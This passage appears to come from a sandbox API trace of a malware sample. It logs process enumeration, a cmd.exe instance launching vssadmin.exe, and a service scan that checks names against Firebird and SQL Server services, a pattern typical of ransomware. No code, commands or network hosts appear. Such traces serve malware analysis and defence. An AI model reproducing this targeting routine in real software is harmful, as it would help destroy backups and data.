th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0153.301] lstrlenW (lpString="dwm.exe") returned 7 [0153.301] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.302] lstrlenW (lpString="svchost.exe") returned 11 [0153.302] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.303] lstrlenW (lpString="svchost.exe") returned 11 [0153.304] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.305] lstrlenW (lpString="svchost.exe") returned 11 [0153.305] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.306] lstrlenW (lpString="svchost.exe") returned 11 [0153.306] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.307] lstrlenW (lpString="svchost.exe") returned 11 [0153.307] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.308] lstrlenW (lpString="svchost.exe") returned 11 [0153.308] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.309] lstrlenW (lpString="svchost.exe") returned 11 [0153.309] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.326] lstrlenW (lpString="svchost.exe") returned 11 [0153.326] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.327] lstrlenW (lpString="svchost.exe") returned 11 [0153.327] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0153.328] lstrlenW (lpString="spoolsv.exe") returned 11 [0153.328] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.329] lstrlenW (lpString="svchost.exe") returned 11 [0153.329] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.337] lstrlenW (lpString="svchost.exe") returned 11 [0153.337] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0153.338] lstrlenW (lpString="audiodg.exe") returned 11 [0153.338] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0153.342] lstrlenW (lpString="sihost.exe") returned 10 [0153.342] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.343] lstrlenW (lpString="svchost.exe") returned 11 [0153.343] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0153.344] lstrlenW (lpString="taskhostw.exe") returned 13 [0153.344] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0153.345] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0153.345] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0153.346] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0153.346] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0153.347] lstrlenW (lpString="explorer.exe") returned 12 [0153.347] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0153.348] lstrlenW (lpString="Memory Compression") returned 18 [0153.348] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0153.349] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0153.349] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0153.350] lstrlenW (lpString="SearchUI.exe") returned 12 [0153.350] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0153.351] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0153.351] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0154.012] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0154.012] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0154.013] lstrlenW (lpString="UsoClient.exe") returned 13 [0154.013] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0154.014] lstrlenW (lpString="msoia.exe") returned 9 [0154.014] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0154.015] lstrlenW (lpString="taskhostw.exe") returned 13 [0154.015] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0154.016] lstrlenW (lpString="msoia.exe") returned 9 [0154.016] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0154.043] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0154.043] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0154.044] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0154.044] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0154.045] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0154.045] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0154.046] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0154.046] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0154.047] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0154.047] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0154.048] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0154.048] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0154.049] lstrlenW (lpString="concerned venture.exe") returned 21 [0154.049] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0154.050] lstrlenW (lpString="organizingscsi.exe") returned 18 [0154.050] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0154.051] lstrlenW (lpString="airplane placing.exe") returned 20 [0154.051] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0154.052] lstrlenW (lpString="circus.exe") returned 10 [0154.052] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0154.053] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0154.053] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0154.054] lstrlenW (lpString="das.exe") returned 7 [0154.054] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0154.055] lstrlenW (lpString="beam removable.exe") returned 18 [0154.055] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0154.056] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0154.056] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0154.057] lstrlenW (lpString="dome.exe") returned 8 [0154.057] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0154.058] lstrlenW (lpString="wiresjacket.exe") returned 15 [0154.058] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0154.059] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0154.059] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0154.060] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0154.060] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0154.061] lstrlenW (lpString="tested.exe") returned 10 [0154.170] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0154.171] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0154.171] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0154.172] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0154.172] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0154.173] lstrlenW (lpString="level.exe") returned 9 [0154.173] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0154.174] lstrlenW (lpString="dllhost.exe") returned 11 [0154.174] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0154.176] lstrlenW (lpString="conhost.exe") returned 11 [0154.176] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0154.898] lstrlenW (lpString="conhost.exe") returned 11 [0154.898] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.899] lstrlenW (lpString="svchost.exe") returned 11 [0154.899] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0154.900] lstrlenW (lpString="load0.exe") returned 9 [0154.900] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0154.902] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0154.902] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0154.903] lstrlenW (lpString="conhost.exe") returned 11 [0154.903] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0154.904] lstrlenW (lpString="cmd.exe") returned 7 [0154.905] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0154.906] lstrlenW (lpString="conhost.exe") returned 11 [0154.906] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0154.907] lstrlenW (lpString="svchost.exe") returned 11 [0154.907] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0154.908] lstrlenW (lpString="vssadmin.exe") returned 12 [0154.908] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0154.909] lstrlenW (lpString="LogonUI.exe") returned 11 [0154.909] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0154.910] lstrlenW (lpString="sppsvc.exe") returned 10 [0154.910] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0154.911] CloseHandle (hObject=0x1038) returned 1 [0154.912] Sleep (dwMilliseconds=0x1f4) [0155.966] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3668 [0155.966] EnumServicesStatusExW (in: hSCManager=0x5e3668, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0155.967] GetLastError () returned 0xea [0155.967] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1dbc) returned 0x64cc50 [0155.967] EnumServicesStatusExW (in: hSCManager=0x5e3668, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x64cc50, cbBufSize=0x1dbc, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x64cc50, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0155.968] CloseServiceHandle (hSCObject=0x5e3668) returned 1 [0155.968] lstrlenW (lpString="Appinfo") returned 7 [0155.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0155.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0155.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0155.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0155.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0155.968] lstrlenW (lpString="AppXSvc") returned 7 [0155.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0155.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0155.968] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0155.968] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0155.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0155.968] lstrlenW 